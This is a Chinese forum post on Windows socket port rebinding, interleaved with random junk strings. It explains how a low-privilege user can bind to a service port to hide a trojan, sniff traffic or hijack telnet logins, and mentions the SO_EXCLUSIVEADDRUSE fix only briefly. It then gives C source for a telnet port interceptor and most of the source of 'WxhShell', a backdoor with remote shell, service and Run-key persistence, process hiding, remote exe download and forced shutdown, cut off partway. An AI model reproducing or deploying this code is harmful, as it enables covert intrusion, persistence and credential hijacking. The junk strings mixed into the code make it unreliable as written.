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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: AS a)xf9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (/C 8\}Ox  
@DK`#,  
  saddr.sin_family = AF_INET; `%$+rbo~  
sV`p3L8pl  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i!+0''i{#  
<+: PTG/('  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Xj$'i/=-+c  
R_Uy.0=4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Sz>Lbs  
Hli22~7T:  
  这意味着什么?意味着可以进行如下的攻击: tHFBLM  
L/)Q1Mm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {YEGy  
\Z_29L w=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3ZhuC".c  
I~ e,']  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B>%;"OMp  
X{P=2h#g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  } ^WmCX2a  
j"n"=rTTQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {Z#=ppvs  
$j"BHpN  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c>BDw<  
[#;CBs5o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {`V ^V_  
|D1TSv}rZD  
  #include @cn8m  
  #include u6i X&%e  
  #include G.>Ul)O:a  
  #include    A }d\ ND  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /-Nq DRmJ  
  int main() <P#:dS%r  
  { g])iU9)8  
  WORD wVersionRequested; ,YF1* 69  
  DWORD ret; KdC'#$  
  WSADATA wsaData; mJ+mTA5bW  
  BOOL val; =}2k+v-B  
  SOCKADDR_IN saddr; {11xjvAD  
  SOCKADDR_IN scaddr; mj&$+zM>  
  int err; f}7/UGd  
  SOCKET s; nc;iJ/\4  
  SOCKET sc; T} K@ykT  
  int caddsize; WntolYd  
  HANDLE mt; gq050Bl)  
  DWORD tid;   "8/BVW^bv  
  wVersionRequested = MAKEWORD( 2, 2 ); uuYeXI;  
  err = WSAStartup( wVersionRequested, &wsaData ); "6>+IF  
  if ( err != 0 ) { 6@Ir|o  
  printf("error!WSAStartup failed!\n"); m=V69 a#  
  return -1; d bHxc@H  
  } L4v26*P  
  saddr.sin_family = AF_INET; J6Nhpzp  
   &[_D'jm+S0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U|+ c&TY  
64t:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !&R|P|7qN}  
  saddr.sin_port = htons(23); a=M/0N{!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )jm!^m  
  { z~#d@c\  
  printf("error!socket failed!\n"); 9]QHwa>_|2  
  return -1; C%AN4Mo  
  } &+ UnPE(  
  val = TRUE; C&;m56  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 EKNmXt1 lE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N[;R8S P  
  { !YX_k<1E  
  printf("error!setsockopt failed!\n"); 9}' 92  
  return -1; :*eJ*(M  
  } ]BfJ~+ N  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b 4A1M  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =jvL2ps<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `Af5%m[  
X08[,P#I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) GB}!7W"  
  { WMnxN34  
  ret=GetLastError(); )3)x/WM  
  printf("error!bind failed!\n"); lFa?l\jLXZ  
  return -1; _Q7]Dw/w\  
  } {2L V0:k2  
  listen(s,2); m3=Cg$n  
  while(1) [midNC+,  
  { p']{WLDj2  
  caddsize = sizeof(scaddr); .@ @&q4= &  
  //接受连接请求 ),5A&qT*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); a|Wrc)UR  
  if(sc!=INVALID_SOCKET) ^tI4FQ>Y  
  { x]vyt}oCmk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q$A;Fk}-  
  if(mt==NULL) .7> g8  
  { bZu2.?{  
  printf("Thread Creat Failed!\n"); tkW7wP;  
  break; =1zRm >m  
  } |l:,EA_v|  
  } fHXz{,?/w  
  CloseHandle(mt); U _~r0  
  } 8}?w %FsN#  
  closesocket(s); !&pk^VFl+  
  WSACleanup(); W$:D#;jz`h  
  return 0; "89L^I  
  }   ESnir6HoU  
  DWORD WINAPI ClientThread(LPVOID lpParam) >w#&fd  
  { %FLe@.Ep{D  
  SOCKET ss = (SOCKET)lpParam; ()zn8_z  
  SOCKET sc; duoM >B>8]  
  unsigned char buf[4096]; ftP]WGSS>  
  SOCKADDR_IN saddr; OZ}o||/Rc  
  long num; \omfWWpK  
  DWORD val; BQ(sjJ$v6F  
  DWORD ret; M4E==  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ek`6 Uf  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^_k`@SU  
  saddr.sin_family = AF_INET; rmPJid[8B~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Wt!8.d} =  
  saddr.sin_port = htons(23); "B*UZ.cC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -* W\$ P  
  { '3 JVUHn  
  printf("error!socket failed!\n"); Wx8n)  
  return -1;  %9_jF"  
  } W/u_<\  
  val = 100; E+~1GKd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r=<1*u  
  { Xuj=V?5  
  ret = GetLastError(); .B{:<;sa  
  return -1; f9^MLb6)  
  } ET\rd5Po  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Aq_?8Cd  
  { D{M& >.  
  ret = GetLastError(); (VBO1f  
  return -1; a#m T@l\  
  } '-_tF3x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) DiSU\?N2'  
  { |j}%"wOh  
  printf("error!socket connect failed!\n"); pPJE.[)V/  
  closesocket(sc); a<P?4tbF  
  closesocket(ss); RU\MT'E>(  
  return -1; ? J6\?ct4  
  } Qk].^'\  
  while(1) rDC=rG  
  { >g2Z t;*@w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q'0:k{G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 oPrK{flm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LT]YYn($  
  num = recv(ss,buf,4096,0); IQ5'4zQg=  
  if(num>0) y~Vl0f;  
  send(sc,buf,num,0); O]G3l0  
  else if(num==0) }ssL;q  
  break; F,@uYMQs  
  num = recv(sc,buf,4096,0); pI}6AAs}Z  
  if(num>0) OK%d1M^8j  
  send(ss,buf,num,0); vGD D  
  else if(num==0) e]D TK*W~  
  break; ~2O1$ou  
  } TCK<IZKLqK  
  closesocket(ss); 3($tD*!o  
  closesocket(sc); ]~\%ANoi  
  return 0 ; ef:YYt{|q  
  } B4w/cIj_  
L+.-aB2!d  
UGQH wz  
========================================================== `ex>q  
HlXEU$e  
下边附上一个代码,,WXhSHELL ||'A9  
GyGF<%nq  
========================================================== OVEQ^\Q5D  
vd0uI#g%#  
#include "stdafx.h" .`/6[Zp  
c='uyx  
#include <stdio.h> '(SqHP|8&g  
#include <string.h> DVw 04ay%  
#include <windows.h> =|IY[2^  
#include <winsock2.h> 4Vv$bbu+  
#include <winsvc.h> T:S[[#f{5  
#include <urlmon.h> R'h.lX  
}W nvz;]B  
#pragma comment (lib, "Ws2_32.lib") :F?L,I,K  
#pragma comment (lib, "urlmon.lib") 'J_6SD  
:F pt>g  
#define MAX_USER   100 // 最大客户端连接数 Q,n Xc  
#define BUF_SOCK   200 // sock buffer +]0/:\(B  
#define KEY_BUFF   255 // 输入 buffer FTcXjWBPF9  
2I0Zr;\f  
#define REBOOT     0   // 重启 @c;:D`\p1C  
#define SHUTDOWN   1   // 关机 R&MetQ~-{  
im"3n=  
#define DEF_PORT   5000 // 监听端口 }/aqh;W  
Kk6i  
#define REG_LEN     16   // 注册表键长度 uex([;y  
#define SVC_LEN     80   // NT服务名长度 .CEl{fofj  
k .W1bF9n6  
// 从dll定义API II{"6YI>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x k&# fW^r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Rz=wInFs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ilkN3J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^) 5*?8#  
dd!Q[]$ }  
// wxhshell配置信息 C$^WW}S  
struct WSCFG { AO]1`b:  
  int ws_port;         // 监听端口 KWH:tFL.  
  char ws_passstr[REG_LEN]; // 口令 8P*wt'Q$  
  int ws_autoins;       // 安装标记, 1=yes 0=no TH? wXd\  
  char ws_regname[REG_LEN]; // 注册表键名 C*Wyw]:r  
  char ws_svcname[REG_LEN]; // 服务名 AQgm]ex<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  t`'5|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mZ#h p}\.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !.[H !-V.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _PGS"O?j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sQ8kLS_q8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aU%QJ#j  
,`ju(ac!  
}; {@ Z%6%'9  
*&$2us0%%  
// default Wxhshell configuration k;!}nQ&  
struct WSCFG wscfg={DEF_PORT, Lo5CVlK  
    "xuhuanlingzhe", k:*vD"  
    1, gi<%: [jT  
    "Wxhshell", <Eh_  
    "Wxhshell", WU{9lL=  
            "WxhShell Service", |/~ISB  
    "Wrsky Windows CmdShell Service", pU[5f5_  
    "Please Input Your Password: ", oU)3du   
  1, Mby V_A`r_  
  "http://www.wrsky.com/wxhshell.exe", :zsMkdU  
  "Wxhshell.exe" HKG8X="  
    }; :djbZ><  
:;N2hnHoG  
// 消息定义模块 V7$-4%NL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; a`8svo;VUO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (\CH;c-@  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jF|LPWl  
char *msg_ws_ext="\n\rExit."; $im6v  
char *msg_ws_end="\n\rQuit."; 0hCUr]cZ,  
char *msg_ws_boot="\n\rReboot..."; /H :Bu  
char *msg_ws_poff="\n\rShutdown..."; H<ZXe!q(nx  
char *msg_ws_down="\n\rSave to "; Nuc2CB)J  
YAYwrKt  
char *msg_ws_err="\n\rErr!"; c->?'h23)  
char *msg_ws_ok="\n\rOK!"; M`QK{$1p  
?xb2jZ/0X  
char ExeFile[MAX_PATH]; tW"s^r=95  
int nUser = 0; @+; cFj  
HANDLE handles[MAX_USER]; w! ':Ws  
int OsIsNt; pzcof#2  
{/K!cPp9  
SERVICE_STATUS       serviceStatus; Dj x[3['  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  #-K,,"  
s+&iH  
// 函数声明 dW#?{n-H<  
int Install(void); G'WbXX  
int Uninstall(void); m";?B1%x  
int DownloadFile(char *sURL, SOCKET wsh); 'Jl3%axR  
int Boot(int flag); C&&33L  
void HideProc(void); /[UuHU5*R  
int GetOsVer(void); #gRtCoew  
int Wxhshell(SOCKET wsl); (zIF2qY  
void TalkWithClient(void *cs); ]QmY`pTB`  
int CmdShell(SOCKET sock); 1owe'7\J  
int StartFromService(void); Ct386j><  
int StartWxhshell(LPSTR lpCmdLine); 884-\M"h  
ms/Q-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %^(} fu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ls{]ohP  
h#]LXs  
// 数据结构和表定义 \\$wg   
SERVICE_TABLE_ENTRY DispatchTable[] = K"g`,G6S  
{ vKTCS  
{wscfg.ws_svcname, NTServiceMain}, d?>pcT)G_  
{NULL, NULL} !sav~dB)  
}; ?D=t:=  
)/uCdSDIc  
// 自我安装 2[5z6oG  
int Install(void) trM)&aQto  
{ }Fb966 $  
  char svExeFile[MAX_PATH]; T#D*B]oZ}  
  HKEY key; + wF5(  
  strcpy(svExeFile,ExeFile); ;#S4$wISw`  
<k 7q 9"\4  
// 如果是win9x系统,修改注册表设为自启动 LGPg\g`  
if(!OsIsNt) { 1 eMaKT_=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f4&k48Ds  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <x\I*%(  
  RegCloseKey(key); ?CZ*MMV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KhPDkD-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KAm$^N5  
  RegCloseKey(key); x*0mmlCb  
  return 0; }R)A%FKi@  
    } 0j2M< W#  
  } lv\^@9r  
} ]M/*Beh  
else { J3AS"+]  
cT3s{k  
// 如果是NT以上系统,安装为系统服务 b"&1l2\ A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Tg/r V5@ka  
if (schSCManager!=0) 07A2@dx  
{ l5,}yTUta  
  SC_HANDLE schService = CreateService y<n<uZ;  
  ( 3R ZD=`  
  schSCManager, 5vjtF4}7!  
  wscfg.ws_svcname, X1\ao[t<;c  
  wscfg.ws_svcdisp, e% .|PZ)  
  SERVICE_ALL_ACCESS, F+::UWKA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E/uKzzD9  
  SERVICE_AUTO_START, aXyg`CDv  
  SERVICE_ERROR_NORMAL, 5'"l0EuD  
  svExeFile, L_ 2R3 w  
  NULL, ~VaO,8&+L  
  NULL, J7s\  
  NULL, c9axzg UA  
  NULL, n]J;BW& Av  
  NULL oSB0P  
  ); >;OwBzB  
  if (schService!=0) pQOT\- bD  
  { cS#m\O  
  CloseServiceHandle(schService); $Qq5Fx9kU  
  CloseServiceHandle(schSCManager); \C;F5AO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]6TX)1  
  strcat(svExeFile,wscfg.ws_svcname); J)a^3>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /_CSRi&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7s.vJdA]6  
  RegCloseKey(key); A_<1}8{L  
  return 0; Q^\f,E\S  
    } :H`Z.>K  
  } h6C:`0o  
  CloseServiceHandle(schSCManager); Kgu#M i~  
} 3hbUus  
} lv0}d  
Ikj_ 0/%F  
return 1; g'{hp:  
} h?`'%m?_b  
<%Afa#  
// 自我卸载 y|[YEY U)  
int Uninstall(void) Y#aHGZ$i  
{ YztW1GvI  
  HKEY key; c;1Xu1  
)Qx&m}  
if(!OsIsNt) { X1; ljX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?&GV~DYxA  
  RegDeleteValue(key,wscfg.ws_regname); f1}b;JJTsv  
  RegCloseKey(key); #\r5Q>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { XoqmT/P  
  RegDeleteValue(key,wscfg.ws_regname); ?^W`7HF%0  
  RegCloseKey(key); 0w<qj T^U  
  return 0; xlU:&=|  
  } =}Xw}X+[WY  
} xyc`p[n &  
} %)@3V8OI  
else { ^=gzm s  
?q+^U>wy&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u &s>UkR  
if (schSCManager!=0) r-k,4Yz  
{ XH{P@2~l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); DqTp*hI  
  if (schService!=0) [d/uy>z,  
  { E< Ini'od[  
  if(DeleteService(schService)!=0) { &Eqa y'  
  CloseServiceHandle(schService); $7JWA9#N!  
  CloseServiceHandle(schSCManager); ums*EKjs97  
  return 0; d ,!sZ&v  
  } [_,Gk]F=  
  CloseServiceHandle(schService); z'd*z[L~  
  } NamO5(1C  
  CloseServiceHandle(schSCManager); !JC!GS"M5  
} Mk$Pt  
} %K|+4ZY3  
vaOCH*}h  
return 1; Ci?A4q$.  
} bP 8O&R  
q%xq\L.  
// 从指定url下载文件 _|%l) KO  
int DownloadFile(char *sURL, SOCKET wsh) " .:b43Z  
{ _/ Uer }  
  HRESULT hr; [j^c&}0  
char seps[]= "/"; _ BUD~'Q5  
char *token; qD/X%`>Q  
char *file; &H<n76G  
char myURL[MAX_PATH]; T)"LuC#C  
char myFILE[MAX_PATH]; mbh;oX+  
o$,Dh?l  
strcpy(myURL,sURL); <fm0B3i?  
  token=strtok(myURL,seps); ]iL>Zxex  
  while(token!=NULL) *dE5yS`H  
  { SF2<   
    file=token; =ijVT_|u0  
  token=strtok(NULL,seps); )RE~=*?d  
  } o(_~ st<  
s@c.nT%BYL  
GetCurrentDirectory(MAX_PATH,myFILE); ); <Le6  
strcat(myFILE, "\\"); fPLi8`r  
strcat(myFILE, file); QN$Ac.F  
  send(wsh,myFILE,strlen(myFILE),0); c!})%{U  
send(wsh,"...",3,0); Udbz;^(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); +rA:/!b)Y  
  if(hr==S_OK) 6V@?/B  
return 0; ?}g#Mc  
else )]~;A c^x  
return 1; ~G ZpAPg*  
2%F!aeX  
} ~'aK[3  
:P1/kYg  
// 系统电源模块 !tL&Ktoj  
int Boot(int flag) ehCZhi~  
{ UAi]hUq  
  HANDLE hToken; ka$oUB)iQ  
  TOKEN_PRIVILEGES tkp; "Yu';&  
+zup+=0e  
  if(OsIsNt) { CF?TW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,*Z:a 4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g9F4nExo  
    tkp.PrivilegeCount = 1; +,BJ4``*k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n-Qpg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5QoU&Hv  
if(flag==REBOOT) { 4$=ATa;x-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4M4oI .  
  return 0; R?K[O   
} r{~@hd'Aj  
else { uI*2}Q   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eGJ}';O,g  
  return 0; %ut7T!Jp  
} Q|`sYm'.  
  } }1/`<m  
  else { Q[M?LNE`  
if(flag==REBOOT) { ~ [4oA$[a|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9 yE   
  return 0; s[HQq;S  
} [8J/# !B  
else { )K+ Tvx3(m  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (VxWa#P  
  return 0; 7Vd"AVn}g  
} :)9 ^T<  
}  @aC2]  
`vijd(a?v  
return 1; ~Ue t)y<  
} oy) 'wb~  
xNaDzu"  
// win9x进程隐藏模块 ~!Q\\_  
void HideProc(void) lN-[2vT<  
{ !]-ET7  
X+*"FKm S.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z&@Vg`w"  
  if ( hKernel != NULL ) w u  
  { u0vq`5L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MiX*PqNTM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Apfs&{Uy  
    FreeLibrary(hKernel); Qs^Rh F\d  
  } <hO|:LX  
@4Ox$M  
return; n#|pR2  
} l]GUQcN=  
?z2k 74&M^  
// 获取操作系统版本 Rf~? u)h1  
int GetOsVer(void) oq>8  
{ xqua>!mqS  
  OSVERSIONINFO winfo; sBo|e]m#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w53+k\.  
  GetVersionEx(&winfo); '*PJ-=G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) *&\fBi]  
  return 1;  #)r  
  else {J}Zv5  
  return 0; VZ:L K  
} %z_PEqRj  
fs=W(~"  
// 客户端句柄模块 :]viLw\&g  
int Wxhshell(SOCKET wsl) {'QA0K  
{ 7Qc 4Oz:t  
  SOCKET wsh; !M[a/7x,p  
  struct sockaddr_in client; B-<H8[GkG1  
  DWORD myID; Y`x54_32  
}4; \sY  
  while(nUser<MAX_USER) j/FFxlFNL  
{ o$=D`B  
  int nSize=sizeof(client); iA^GA8dn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XA$Z 7_gu3  
  if(wsh==INVALID_SOCKET) return 1; LJ+fZ N  
@\=% M^bx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HZ#<+~J  
if(handles[nUser]==0) f_&bwfbo  
  closesocket(wsh); ~S],)E1w  
else k3 65.nc  
  nUser++; \*C}[D  
  } $ +`   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xiyh3/%yy  
KV!!D{VS`@  
  return 0; whzV7RT  
} Z|z+[V}[  
`qjiC>9  
// 关闭 socket pV3o\bk!  
void CloseIt(SOCKET wsh) FE`:1  
{ jG0o-x=X  
closesocket(wsh); rdFeDZo&Z)  
nUser--; C>?`1d@  
ExitThread(0); Rr#vv  
} *:q,G  
p&:(D=pIu  
// 客户端请求句柄 RSNukg  
void TalkWithClient(void *cs) Gj.u /l  
{ M=57 d7  
"0lC:Wu]  
  SOCKET wsh=(SOCKET)cs; 1w)#BYc=L  
  char pwd[SVC_LEN]; N* C"+2  
  char cmd[KEY_BUFF]; (>OCLmV$  
char chr[1]; u_C/Y[ik  
int i,j; /uc*V6Xd (  
?E@ 9Nvr  
  while (nUser < MAX_USER) { ,~!rn}MI<  
5df~] -=0Y  
if(wscfg.ws_passstr) { {~"&$DY2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7h4"5GlO0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M``I5r*cg  
  //ZeroMemory(pwd,KEY_BUFF); CywQ  
      i=0; A&$oiLc  
  while(i<SVC_LEN) { f2sv$#'  
.H,wdzg)  
  // 设置超时 `XwFH#_  
  fd_set FdRead; i#@3\&{J>  
  struct timeval TimeOut; v.08,P{b  
  FD_ZERO(&FdRead); Y6|8;2E  
  FD_SET(wsh,&FdRead); p~T)Af<(  
  TimeOut.tv_sec=8; #'qEm=%  
  TimeOut.tv_usec=0; USKa6<:{W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2qb,bp1$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a!1\,.  
7PDz ]i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OZ*V7o  
  pwd=chr[0]; B u ~N)^  
  if(chr[0]==0xd || chr[0]==0xa) { IT3xX=|b  
  pwd=0; 0 ttM_]#q  
  break; 'NM$<<0  
  } +v 9@du  
  i++; 'g8~uP  
    } I e#LZti  
W2F %E  
  // 如果是非法用户,关闭 socket M>CW(X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ddDl~&}o  
} 7Ca+Pe}/n,  
*}Al0\q0M  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g4BEo'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AwhXCq|k  
`7|\Gqy  
while(1) { 'V reO52  
H!y%FaTi  
  ZeroMemory(cmd,KEY_BUFF); zCdQI  
3[RbVT  
      // 自动支持客户端 telnet标准   cO,ELu  
  j=0; j5*W[M9W  
  while(j<KEY_BUFF) { ;:JTb2xbb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v2>.+Eh#  
  cmd[j]=chr[0]; `TM[7'  
  if(chr[0]==0xa || chr[0]==0xd) { :nuMakZZ  
  cmd[j]=0; Yg5m=Lis  
  break; wG1A]OJl1  
  } kI>Iq Q-h  
  j++; Fd:A^]  
    } :%M[|Fj  
q M( n]{H  
  // 下载文件 "#T3l^@  
  if(strstr(cmd,"http://")) { 1C[j:Ly/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \vBpH'hR,'  
  if(DownloadFile(cmd,wsh)) #tyHjk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U"} ml  
  else 2;@#i*\Y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7-nz'-'  
  } 3,@I` M  
  else { KGCm@oy  
2TN+ (B#Z!  
    switch(cmd[0]) { %Lec\(-4L  
  $a|DR  
  // 帮助 \;w+_<zE5{  
  case '?': { #!wL0 p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~ {sRK  
    break; %m:T?![XO  
  } T&_!AjH  
  // 安装 C wKo'PAJ  
  case 'i': { zG_e=   
    if(Install()) :T5p6:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nu {bEp  
    else Is~bA_- ;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F&r+"O)^-R  
    break; J1I"H<}-6  
    } 8iTX}$t\{  
  // 卸载 d($f8{~W  
  case 'r': { Jsi [,|G  
    if(Uninstall()) uf;^yQi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $9v:(:!Bm  
    else y6|&bJ @  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T<*i($ [  
    break; Las4ux[_  
    } B;A^5~b  
  // 显示 wxhshell 所在路径 ][8ZeM9&p  
  case 'p': { Xp <RG p7E  
    char svExeFile[MAX_PATH]; "^j& ^sA+  
    strcpy(svExeFile,"\n\r"); eWvL(2`Tx  
      strcat(svExeFile,ExeFile); bXoj/zek  
        send(wsh,svExeFile,strlen(svExeFile),0); !br0s(|  
    break; ?MevPy`H  
    } &DdFK.lt  
  // 重启 |I7-7d-; /  
  case 'b': { .aWEXJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5_U3Fs  
    if(Boot(REBOOT)) vmI]N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L1"y5HJ  
    else { k;v2 3  
    closesocket(wsh); |t^7L )&y  
    ExitThread(0); &(h~{  
    } "R-1 G/  
    break; o/E A%q1  
    } 8UArl3  
  // 关机 ,5" vzGLJ  
  case 'd': { =:rR%L!a  
